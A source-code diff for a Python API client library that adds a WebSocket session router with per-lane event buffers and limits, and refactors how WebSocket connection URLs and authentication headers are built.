+from ...types.responses import Response, ResponseStreamEvent
+from ..streaming.responses import ResponseStreamState
+from ...resources.responses.responses import ResponsesConnection, AsyncResponsesConnection
+from ...types.responses.responses_client_event import ResponsesClientEvent
+from ...types.responses.responses_server_event import ResponsesServerEvent
+from ...types.responses.responses_client_event_param import ResponsesClientEventParam
+
+
+@dataclass(frozen=True)
+class ResponsesWebSocketLimits:
+ """Application-selected limits for the opt-in session, not server limits.
+
+ Byte counts use received message bytes, before parsing. They bound
+ buffered event data, not transport framing, decoding, or Python object overhead.
+ ``max_response_bytes`` optionally bounds the total event data fed into one
+ accumulator; its default of ``None`` leaves response accumulation uncapped.
+ Choose values appropriate to your output, including images and tool results.
+ """
+
+ max_lanes: int
+ max_events_per_lane: int
+ max_events: int
+ max_bytes_per_lane: int
+ max_bytes: int
+ max_response_bytes: int | None = None
+
+ def __post_init__(self) -> None:
+ for name, value in vars(self).items():
+ if name == "max_response_bytes" and value is None:
+ continue
+ if not isinstance(value, int) or isinstance(value, bool) or value <= 0:
+ raise ValueError("WebSocket session limits must be positive integers")
+
+
+class ResponsesWebSocketBufferError(RuntimeError):
+ """A session or response exceeded an application-selected buffer limit."""
+
+
+class ResponsesWebSocketError(RuntimeError):
+ """A request-scoped protocol error. The original event is available as ``event``."""
+
+ def __init__(self, event: ResponsesServerEvent) -> None:
+ super().__init__("The Responses WebSocket request returned an error event")
+ self.event = event
+
+
+_claimed: WeakSet[object] = WeakSet()
+_claim_lock = threading.Lock()
+
+
+def _claim(connection: object) -> None:
+ with _claim_lock:
+ if connection in _claimed:
+ raise RuntimeError("This connection already has a WebSocket session")
+ _claimed.add(connection)
+
+
+def _release(connection: object) -> None:
+ with _claim_lock:
+ _claimed.discard(connection)
+
+
+def _field(event: object, name: str) -> Any:
+ return cast("dict[str, Any]", event).get(name) if isinstance(event, dict) else getattr(event, name, None)
+
+
+def _command(event: ResponsesClientEvent | ResponsesClientEventParam, stream_id: str | None) -> tuple[str, bool]:
+ data = event.to_dict(exclude_unset=True) if isinstance(event, BaseModel) else dict(event)
+ is_create = bool(data.get("type") == "response.create")
+ if is_create:
+ if "stream_id" in data and data["stream_id"] != stream_id:
+ raise ValueError("The command stream_id does not match its lane")
+ if stream_id is not None:
+ data["stream_id"] = stream_id
+ return json.dumps(maybe_transform(data, ResponsesClientEventParam)), is_create
+
+
+class _Accumulator:
+ def __init__(self, limit: int | None) -> None:
+ self.limit = limit
+ self.size = 0
+ self.state: ResponseStreamState[object] | None = None
+ self.final: Response | None = None
+ self.error: Exception | None = None
+
+ def add(self, event: ResponsesServerEvent, size: int) -> None:
+ kind = _field(event, "type")
+ if kind == "response.created":
+ self.size = 0
+ self.final = None
+ self.error = None
+ self.state = ResponseStreamState(input_tools=omit, text_format=omit)
+ if kind == "error":
+ self.state = None
+ self.size = 0
+ self.final = None
+ self.error = ResponsesWebSocketError(event)
+ return
+ if self.error is not None:
+ return
+ # Finalized items and the terminal response are authoritative. WebSocket
+ # deltas need not include all of the SSE item/part setup events, so feed
+ # only these compatible events to the existing final-response accumulator.
+ # Unknown events and deltas remain available untouched to the caller.
+ compatible = kind in {
+ "response.created",
+ "response.output_item.done",
+ "response.completed",
+ }
+ terminal = kind in {"response.completed", "response.failed", "response.incomplete"}
+ if terminal and _field(event, "response") is None:
+ raise ValueError("Terminal WebSocket event is missing response")
+ if compatible or terminal:
+ self.size += size
+ if self.limit is not None and self.size > self.limit:
+ self.state = None
+ self.final = None
+ raise ResponsesWebSocketBufferError("Response accumulation exceeded max_response_bytes")
+ if self.state is not None and compatible:
+ # Accumulation must not mutate the raw event visible to callers.
+ self.state.handle_event(cast(ResponseStreamEvent, model_copy(event, deep=True)))
+ if terminal:
+ self.final = cast(Response, _field(event, "response"))
+ if kind == "response.completed" and self.state is not None:
+ self.final = self.state._completed_response
+ elif self.state is not None and getattr(self.final, "output", None) is None:
+ self.final = model_copy(self.final)
+ self.final.output = [
+ self.state._completed_output[index] for index in sorted(self.state._completed_output)
+ ]
+ self.state = None
+ self.size = 0
+
+
+class _LaneState:
+ def __init__(self, stream_id: str | None, limit: int | None) -> None:
+ self.stream_id = stream_id
+ self.queue: deque[tuple[ResponsesServerEvent, int]] = deque()
+ self.size = 0
+ self.closed = False
+ self.in_flight = False
+ self.closed_connection: object | None = None
+ self.received_generation = 0
+ self.consumed_generation = 0
+ self.wake = asyncio.Event()
+ self.accumulator = _Accumulator(limit)
+
+
+class _Router:
+ def __init__(
+ self, limits: ResponsesWebSocketLimits, connection: ResponsesConnection | AsyncResponsesConnection
+ ) -> None:
+ self.connection = connection
+ self.limits = limits
+ self.condition = threading.Condition()
+ self.lanes: dict[str | None, _LaneState] = {}
+ self.events = 0
+ self.size = 0
+ self.ended = False
+ self.error: BaseException | None = None
+ self.default = self.register(None)
+
+ def register(self, stream_id: object) -> _LaneState:
+ if stream_id is not None and (
+ not isinstance(stream_id, str) or re.fullmatch(r"[A-Za-z0-9_.-]{1,256}", stream_id) is None
+ ):
+ raise ValueError("stream_id must be None or 1–256 ASCII letters, digits, underscores, hyphens or periods")
+ with self.condition:
+ if self.ended:
+ raise RuntimeError("The WebSocket session has ended")
+ if stream_id in self.lanes:
+ raise ValueError("A lane with this stream_id is already registered")
+ if len(self.lanes) >= self.limits.max_lanes:
+ raise ResponsesWebSocketBufferError("The session exceeded max_lanes")
+ lane = _LaneState(stream_id, self.limits.max_response_bytes)
+ self.lanes[stream_id] = lane
+ if stream_id is None:
+ self.default = lane
+ return lane
+
+ def detach(self, lane: _LaneState) -> None:
+ with self.condition:
+ if lane.closed:
+ return
+ lane.closed = True
+ lane.closed_connection = self.connection._connection
+ self.events -= len(lane.queue)
+ self.size -= lane.size
+ lane.queue.clear()
+ lane.size = 0
+ lane.accumulator = _Accumulator(self.limits.max_response_bytes)
+ # A terminal can be followed by an automatic steering successor.
+ # Keep every registered ID and its max_lanes slot until reconnect.
+ lane.wake.set()
+ self.condition.notify_all()
+
+ def reconnected(self, connection: object) -> None:
+ with self.condition:
+ for stream_id, lane in list(self.lanes.items()):
+ if lane.closed and lane.closed_connection is not connection:
+ # A lane closed on the new socket must survive cleanup,
+ # including when it was registered before reconnect.
+ del self.lanes[stream_id]
+
+ def dispatch(self, event: ResponsesServerEvent, size: int) -> None:
+ with self.condition:
+ if self.ended:
+ return
+ stream_id = _field(event, "stream_id")
+ lane = self.lanes.get(stream_id, self.default)
+ if lane.closed:
+ lane = self.default
+ if lane.closed:
+ return
+ if (
+ len(lane.queue) >= self.limits.max_events_per_lane
+ or self.events >= self.limits.max_events
+ or lane.size + size > self.limits.max_bytes_per_lane
+ or self.size + size > self.limits.max_bytes
+ ):
+ raise ResponsesWebSocketBufferError("The session exceeded its buffered event limits")
+ lane.queue.append((event, size))
+ if _field(event, "stream_id") == lane.stream_id and _field(event, "type") == "response.created":
+ lane.received_generation += 1
+ lane.in_flight = True
+ lane.size += size
+ self.size += size
+ self.events += 1
+ lane.wake.set()
+ self.condition.notify_all()
+
+ def finish(self, error: BaseException | None = None) -> None:
+ with self.condition:
+ self.ended = True
+ if self.error is None:
+ self.error = error
+ for lane in self.lanes.values():
+ lane.wake.set()
+ self.condition.notify_all()
+
+ def pop(self, lane: _LaneState) -> ResponsesServerEvent | None:
+ # The caller holds the condition. No await occurs after dequeueing.
+ if lane.closed:
+ raise EOFError("The WebSocket lane is detached")
+ if lane.queue:
+ event, size = lane.queue.popleft()
+ lane.size -= size
+ self.size -= size
+ self.events -= 1
+ # Unregistered named streams remain visible on the default lane,
+ # but cannot change that lane's response or in-flight state.
+ if _field(event, "stream_id") != lane.stream_id:
+ return event
+ try:
+ lane.accumulator.add(event, size)
+ except Exception as exc:
+ lane.accumulator.error = exc
+ lane.accumulator.state = None
+ if _field(event, "type") == "response.created":
+ lane.consumed_generation += 1
+ lane.in_flight = True
+ elif _field(event, "type") in {"response.completed", "response.failed", "response.incomplete", "error"}:
+ lane.in_flight = lane.received_generation > lane.consumed_generation
+ return event
+ if self.ended:
+ if self.error is not None:
+ raise self.error
+ raise EOFError("The WebSocket connection closed")
+ return None
+
+ def prepare(self, lane: _LaneState, is_create: bool) -> None:
+ with self.condition:
+ if self.ended or lane.closed:
+ raise RuntimeError("The WebSocket session or lane is not active")
+ if is_create:
+ if lane.in_flight:
+ raise RuntimeError("Consume the current response before sending another create on this lane")
+ lane.accumulator = _Accumulator(self.limits.max_response_bytes)
+ lane.in_flight = True
+
+
+class ResponsesWebSocketLane:
+ """A routed view of one session. ``close`` detaches it without closing the socket.
+
+ Use a single consumer per lane. Cancel a synchronous wait with ``recv(timeout=...)``;
+ a timeout never consumes an event. Different lanes may be consumed concurrently.
+ """
+
+ def __init__(self, session: ResponsesWebSocketSession, state: _LaneState) -> None:
+ self._session = session
+ self._state = state
+
+ def send(self, event: ResponsesClientEvent | ResponsesClientEventParam) -> None:
+ # Pin the transport before checking recovery so this write cannot migrate.
+ connection = self._session.connection._connection
+ self._session._check_send(self._state)
+ # Serializing supported iterables can call back into the connection.
+ data, is_create = _command(event, self._state.stream_id)
+ with self._session.connection._connection_lock:
+ if self._session.connection._is_reconnecting:
+ raise RuntimeError("The WebSocket connection is reconnecting; restore state before sending")
+ if connection is not self._session.connection._connection:
+ raise RuntimeError("The WebSocket connection changed; restore state before sending")
+ # Reserve the lane before recovery can publish a replacement socket.
+ self._session._router.prepare(self._state, is_create)
+ # The legacy send_raw recovery queue can replay uncertain writes.
+ # Send directly to this physical socket so lane requests never enter it.
+ connection.send(data)
+
+ def recv(self, *, timeout: float | None = None) -> ResponsesServerEvent:
+ if self._session._thread is None:
+ raise RuntimeError("Enter the WebSocket session before receiving events")
+ deadline = None if timeout is None else time.monotonic() + timeout
+ router = self._session._router
+ with router.condition:
+ while True:
+ event = router.pop(self._state)
+ if event is not None:
+ return event
+ remaining = None if deadline is None else deadline - time.monotonic()
+ if remaining is not None and remaining <= 0:
+ raise TimeoutError("Timed out waiting for a Responses WebSocket event")
+ router.condition.wait(remaining)
+
+ def get_final_response(self, *, timeout: float | None = None) -> Response:
+ """Consume this response's remaining events; failed/incomplete are final results."""
+ deadline = None if timeout is None else time.monotonic() + timeout
+ generation = self._state.consumed_generation
+ while (
+ self._state.accumulator.final is not None
+ and self._state.consumed_generation == generation
+ and self._state.received_generation > generation
+ ):
+ remaining = None if deadline is None else max(0.0, deadline - time.monotonic())
+ self.recv(timeout=remaining)
+ while self._state.accumulator.final is None:
+ if self._state.accumulator.error is not None:
+ raise self._state.accumulator.error
+ remaining = None if deadline is None else max(0.0, deadline - time.monotonic())
+ self.recv(timeout=remaining)
+ return self._state.accumulator.final
+
+ def close(self) -> None:
+ self._session._router.detach(self._state)
+
+
+class ResponsesWebSocketSession:
+ """Own one existing connection and route its events with one background reader.
+
+ Enter the session before sending. While active, consume events only through
+ its lanes, not the connection's recv/iterator/dispatch_events. Closing the
+ session closes its connection; closing a lane does not. Register lanes before
+ sending requests. Events for unregistered lanes go to the default lane for
+ inspection, without changing its response state. Every registered lane, including
+ the default and closed lanes, reserves its ID and max_lanes slot until reconnect.
+ Keep a lane open for sequential responses. Reconnect releases closed lanes;
+ open lanes remain registered on the new socket.
+
+ Recovery remains the existing connection's opt-in policy. Reconnecting a
+ transport does not restore server-side response state or replay lane sends.
+ """
+
+ def __init__(self, connection: ResponsesConnection, *, limits: ResponsesWebSocketLimits) -> None:
+ self.connection = connection
+ self._router = _Router(limits, connection)
+ self._thread: threading.Thread | None = None
+ self._closed = False
+ self._owns_connection = False
+ self.default = ResponsesWebSocketLane(self, self._router.default)
+
+ def __enter__(self) -> Self:
+ if self._thread is not None or self._closed:
+ raise RuntimeError("A WebSocket session can only be entered once")
+ _claim(self.connection)
+ self._owns_connection = True
+ self._thread = threading.Thread(target=self._read, name="responses-websocket", daemon=True)
+ try:
+ self._thread.start()
+ except Exception:
+ self._release_connection()
+ self._thread = None
+ raise
+ return self
+
+ def _release_connection(self) -> None:
+ # The reader and close caller may both finish cleanup. Release only our claim.
+ with _claim_lock:
+ if self._owns_connection:
+ _claimed.discard(self.connection)
+ self._owns_connection = False
+
+ def __exit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, traceback: TracebackType | None
+ ) -> None:
+ try:
+ self.close()
+ except Exception:
+ if exc is None:
+ raise
+
+ def lane(self, stream_id: str | None = None) -> ResponsesWebSocketLane:
+ lane = ResponsesWebSocketLane(self, self._router.register(stream_id))
+ if stream_id is None:
+ self.default = lane
+ return lane
+
+ def _check_send(self, lane: _LaneState) -> None:
+ if self._thread is None or self._closed or self._router.ended or lane.closed:
+ raise RuntimeError("The WebSocket session or lane is not active")
+ if self.connection._is_reconnecting:
+ raise RuntimeError("The WebSocket connection is reconnecting; restore state before sending")
+
+ def _read(self) -> None:
+ from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+
+ try:
+ while True:
+ try:
+ data = self.connection.recv_bytes()
+ except ConnectionClosedOK:
+ break
+ except ConnectionClosedError as exc:
+ if self.connection._reconnect(exc):
+ self._router.reconnected(self.connection._connection)
+ continue
+ unsent = self.connection._send_queue.drain()
+ if unsent:
+ raise WebSocketConnectionClosedError(
+ "WebSocket connection closed with unsent messages", unsent_messages=unsent
+ ) from exc
+ raise
+ self._router.dispatch(self.connection.parse_event(data), len(data))
+ del data
+ except Exception as exc:
+ self._router.finish(exc)
+ try:
+ self.connection.close()
+ except Exception:
+ pass # Preserve the original reader/overflow failure.
+ finally:
+ self._router.finish()
+ if self._closed:
+ self._release_connection()
+
+ def close(self) -> None:
+ if self._closed and (self._thread is None or not self._thread.is_alive()):
+ return
+ self._closed = True
+ self._router.finish()
+ if self._thread is None:
+ return
+ try:
+ self.connection.close()
+ finally:
+ if self._thread is not threading.current_thread():
+ self._thread.join(timeout=5)
+ if self._thread.is_alive():
+ raise RuntimeError("The Responses WebSocket reader did not stop after close")
+ self._release_connection()
+
+
+class AsyncResponsesWebSocketLane:
+ """An async routed lane. Canceling a recv/final-response wait never closes it."""
+
+ def __init__(self, session: AsyncResponsesWebSocketSession, state: _LaneState) -> None:
+ self._session = session
+ self._state = state
+
+ async def send(self, event: ResponsesClientEvent | ResponsesClientEventParam) -> None:
+ # Pin the transport before checking recovery so this write cannot migrate.
+ connection = self._session.connection._connection
+ self._session._check_send(self._state)
+ data, is_create = _command(event, self._state.stream_id)
+ self._session._router.prepare(self._state, is_create)
+ # Bypass the legacy recovery queue, including a reconnect starting now.
+ await connection.send(data)
+
+ async def recv(self) -> ResponsesServerEvent:
+ if self._session._task is None:
+ raise RuntimeError("Enter the WebSocket session before receiving events")
+ router = self._session._router
+ while True:
+ with router.condition:
+ event = router.pop(self._state)
+ if event is not None:
+ return event
+ self._state.wake.clear()
+ await self._state.wake.wait()
+
+ async def get_final_response(self) -> Response:
+ generation = self._state.consumed_generation
+ while (
+ self._state.accumulator.final is not None
+ and self._state.consumed_generation == generation
+ and self._state.received_generation > generation
+ ):
+ await self.recv()
+ while self._state.accumulator.final is None:
+ if self._state.accumulator.error is not None:
+ raise self._state.accumulator.error
+ await self.recv()
+ return self._state.accumulator.final
+
+ def close(self) -> None:
+ self._session._router.detach(self._state)
+
+
+class AsyncResponsesWebSocketSession:
+ """Async counterpart of ResponsesWebSocketSession, owning the connection lifetime."""
+
+ def __init__(self, connection: AsyncResponsesConnection, *, limits: ResponsesWebSocketLimits) -> None:
+ self.connection = connection
+ self._router = _Router(limits, connection)
+ self._task: asyncio.Task[None] | None = None
+ self._close_task: asyncio.Task[None] | None = None
+ self._closed = False
+ self.default = AsyncResponsesWebSocketLane(self, self._router.default)
+
+ async def __aenter__(self) -> Self:
+ if self._task is not None or self._closed:
+ raise RuntimeError("A WebSocket session can only be entered once")
+ _claim(self.connection)
+ self._task = asyncio.create_task(self._read(), name="responses-websocket")
+ return self
+
+ async def __aexit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, traceback: TracebackType | None
+ ) -> None:
+ try:
+ await self.close()
+ except Exception:
+ if exc is None:
+ raise
+
+ def lane(self, stream_id: str | None = None) -> AsyncResponsesWebSocketLane:
+ lane = AsyncResponsesWebSocketLane(self, self._router.register(stream_id))
+ if stream_id is None:
+ self.default = lane
+ return lane
+
+ def _check_send(self, lane: _LaneState) -> None:
+ if self._task is None or self._closed or self._router.ended or lane.closed:
+ raise RuntimeError("The WebSocket session or lane is not active")
+ if self.connection._is_reconnecting:
+ raise RuntimeError("The WebSocket connection is reconnecting; restore state before sending")
+
+ async def _read(self) -> None:
+ from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+
+ try:
+ while True:
+ try:
+ data = await self.connection.recv_bytes()
+ except ConnectionClosedOK:
+ break
+ except ConnectionClosedError as exc:
+ if await self.connection._reconnect(exc):
+ self._router.reconnected(self.connection._connection)
+ continue
+ unsent = self.connection._send_queue.drain()
+ if unsent:
+ raise WebSocketConnectionClosedError(
+ "WebSocket connection closed with unsent messages", unsent_messages=unsent
+ ) from exc
+ raise
+ self._router.dispatch(self.connection.parse_event(data), len(data))
+ del data
+ except asyncio.CancelledError:
+ raise
+ except Exception as exc:
+ self._router.finish(exc)
+ try:
+ await self.connection.close()
+ except Exception:
+ # Preserve the reader failure already delivered to every lane.
+ pass
+ finally:
+ self._router.finish()
+
+ async def close(self) -> None:
+ if self._close_task is None:
+ self._closed = True
+ self._router.finish()
+ if self._task is None:
+ return
+ self._close_task = asyncio.create_task(self._close(self._task), name="responses-websocket-close")
+ # Cancellation stops this caller's wait, not cleanup or its ownership claim.
+ await asyncio.shield(self._close_task)
+
+ async def _close(self, reader: asyncio.Task[None]) -> None:
+ try:
+ reader.cancel()
+ try:
+ await reader
+ except asyncio.CancelledError:
+ # Cancellation is expected after stopping the reader above.
+ pass
+ await self.connection.close()
+ finally:
+ _release(self.connection)
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 892d0e4e5b..e3fb9234a6 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -18,7 +18,7 @@
from ...._utils import is_given, path_template, maybe_transform, strip_not_given, async_maybe_transform
from ...._compat import cached_property
from ...._httpx2 import normalize_httpx_url
-from ...._models import construct_type_unchecked
+from ...._models import FinalRequestOptions, construct_type_unchecked
from .input_items import (
InputItems,
AsyncInputItems,
@@ -4602,19 +4602,37 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = await self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
@@ -4720,7 +4738,9 @@ def recv_bytes(self) -> bytes:
If you want to parse the message into a `BetaResponsesServerEvent` object like `.recv()` does,
then you can call `.parse_event(data)`.
"""
- message = self._connection.recv(decode=False)
+ from ....lib._websocket import _recv_bytes
+
+ message = _recv_bytes(self._connection)
log.debug("Received WebSocket message: %i bytes", len(message))
if self._reconnect_attempt:
# Account for raw application progress without changing frame delivery.
@@ -5068,19 +5088,37 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
@@ -5108,48 +5146,6 @@ def __init__(self, connection: ResponsesConnection) -> None:
class ResponsesResponseResource(BaseResponsesConnectionResource):
- def inject(self, *, input: Iterable[BetaResponseInputItemParam], response_id: str) -> None:
- """
- Injects input items into an active response over a WebSocket connection.
- The items are validated and committed atomically. Currently, the server
- accepts client-owned tool outputs that resume a waiting agent.
- """
- self._connection.send({"type": "response.inject", "input": input, "response_id": response_id})
-
- def steer(self, *, input: BetaResponseSteerInputParam, previous_response_id: str) -> None:
- """Queues user input to steer a response on this WebSocket connection.
-
- Input
- can contain text, images, and files. Steering is supported only for
- single-agent responses on models and execution modes that support steering.
- Responses bound to a conversation or using automatic compaction do not
- support steering.
-
- A `response.steer.accepted` event acknowledges that the server owns the
- queued input, not that it has been applied. The successor's `response.created`
- event is the commit point. Input that cannot be committed is returned in
- `response.steer.failed`.
-
- Steering may cause the active response to finish at a safe output boundary
- with `response.incomplete` and `incomplete_details.reason` set to `steered`,
- followed automatically by a successor `response.created`. Normal completion
- can also be followed by an automatic successor. Automatic successors inherit
- the previous response's settings and continue from it with the queued input.
-
- If the response stops for client-owned tool output or approval, accepted
- steering input remains queued and `response.steer.pending` is emitted after
- `response.completed`. Fill the `required_input` stubs from that event with
- saved tool results or approval decisions, and send one explicit
- `response.create` per parent with the same `previous_response_id` and
- WebSocket lane. Do not rerun tools or resend accepted steering input. The
- queued input is prepended in submission order to that request's input, and
- the explicit request retains its own settings.
-
- This event accepts only `type`, `previous_response_id`, and `input`. Do not
- send `stream_id`; the target response determines the WebSocket lane.
- """
- self._connection.send({"type": "response.steer", "input": input, "previous_response_id": previous_response_id})
-
def create(
self,
*,
@@ -5352,22 +5348,15 @@ def create(
)
)
-
-class BaseAsyncResponsesConnectionResource:
- def __init__(self, connection: AsyncResponsesConnection) -> None:
- self._connection = connection
-
-
-class AsyncResponsesResponseResource(BaseAsyncResponsesConnectionResource):
- async def inject(self, *, input: Iterable[BetaResponseInputItemParam], response_id: str) -> None:
+ def inject(self, *, input: Iterable[BetaResponseInputItemParam], response_id: str) -> None:
"""
Injects input items into an active response over a WebSocket connection.
The items are validated and committed atomically. Currently, the server
accepts client-owned tool outputs that resume a waiting agent.
"""
- await self._connection.send({"type": "response.inject", "input": input, "response_id": response_id})
+ self._connection.send({"type": "response.inject", "input": input, "response_id": response_id})
- async def steer(self, *, input: BetaResponseSteerInputParam, previous_response_id: str) -> None:
+ def steer(self, *, input: BetaResponseSteerInputParam, previous_response_id: str) -> None:
"""Queues user input to steer a response on this WebSocket connection.
Input
@@ -5399,10 +5388,15 @@ async def steer(self, *, input: BetaResponseSteerInputParam, previous_response_i
This event accepts only `type`, `previous_response_id`, and `input`. Do not
send `stream_id`; the target response determines the WebSocket lane.
"""
- await self._connection.send(
- {"type": "response.steer", "input": input, "previous_response_id": previous_response_id}
- )
+ self._connection.send({"type": "response.steer", "input": input, "previous_response_id": previous_response_id})
+
+
+class BaseAsyncResponsesConnectionResource:
+ def __init__(self, connection: AsyncResponsesConnection) -> None:
+ self._connection = connection
+
+class AsyncResponsesResponseResource(BaseAsyncResponsesConnectionResource):
async def create(
self,
*,
@@ -5604,3 +5598,47 @@ async def create(
),
)
)
+
+ async def inject(self, *, input: Iterable[BetaResponseInputItemParam], response_id: str) -> None:
+ """
+ Injects input items into an active response over a WebSocket connection.
+ The items are validated and committed atomically. Currently, the server
+ accepts client-owned tool outputs that resume a waiting agent.
+ """
+ await self._connection.send({"type": "response.inject", "input": input, "response_id": response_id})
+
+ async def steer(self, *, input: BetaResponseSteerInputParam, previous_response_id: str) -> None:
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+ await self._connection.send(
+ {"type": "response.steer", "input": input, "previous_response_id": previous_response_id}
+ )
diff --git a/src/openai/resources/live/forks.py b/src/openai/resources/live/forks.py
index 7e770b870f..75e0672bac 100644
--- a/src/openai/resources/live/forks.py
+++ b/src/openai/resources/live/forks.py
@@ -14,9 +14,9 @@
from pydantic import BaseModel
from ..._types import Omit, Query, Headers, omit
-from ..._utils import path_template, maybe_transform, strip_not_given, async_maybe_transform
+from ..._utils import is_given, path_template, maybe_transform, strip_not_given, async_maybe_transform
from ..._compat import cached_property
-from ..._models import construct_type_unchecked
+from ..._models import FinalRequestOptions, construct_type_unchecked
from ..._resource import SyncAPIResource, AsyncAPIResource
from ..._exceptions import OpenAIError, WebSocketConnectionClosedError
from ..._send_queue import SendQueue
@@ -552,19 +552,37 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = await self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
@@ -1021,19 +1039,37 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
diff --git a/src/openai/resources/live/live.py b/src/openai/resources/live/live.py
index 821791bfeb..2d0ca709df 100644
--- a/src/openai/resources/live/live.py
+++ b/src/openai/resources/live/live.py
@@ -16,7 +16,7 @@
from ... import _legacy_response
from .forks import Forks, AsyncForks
from ..._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
-from ..._utils import maybe_transform, strip_not_given, async_maybe_transform
+from ..._utils import is_given, maybe_transform, strip_not_given, async_maybe_transform
from .sessions import (
Sessions,
AsyncSessions,
@@ -27,7 +27,7 @@
)
from .sideband import Sideband, AsyncSideband
from ..._compat import cached_property
-from ..._models import construct_type_unchecked
+from ..._models import FinalRequestOptions, construct_type_unchecked
from ..._resource import SyncAPIResource, AsyncAPIResource
from ..._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from ...types.live import live_create_params
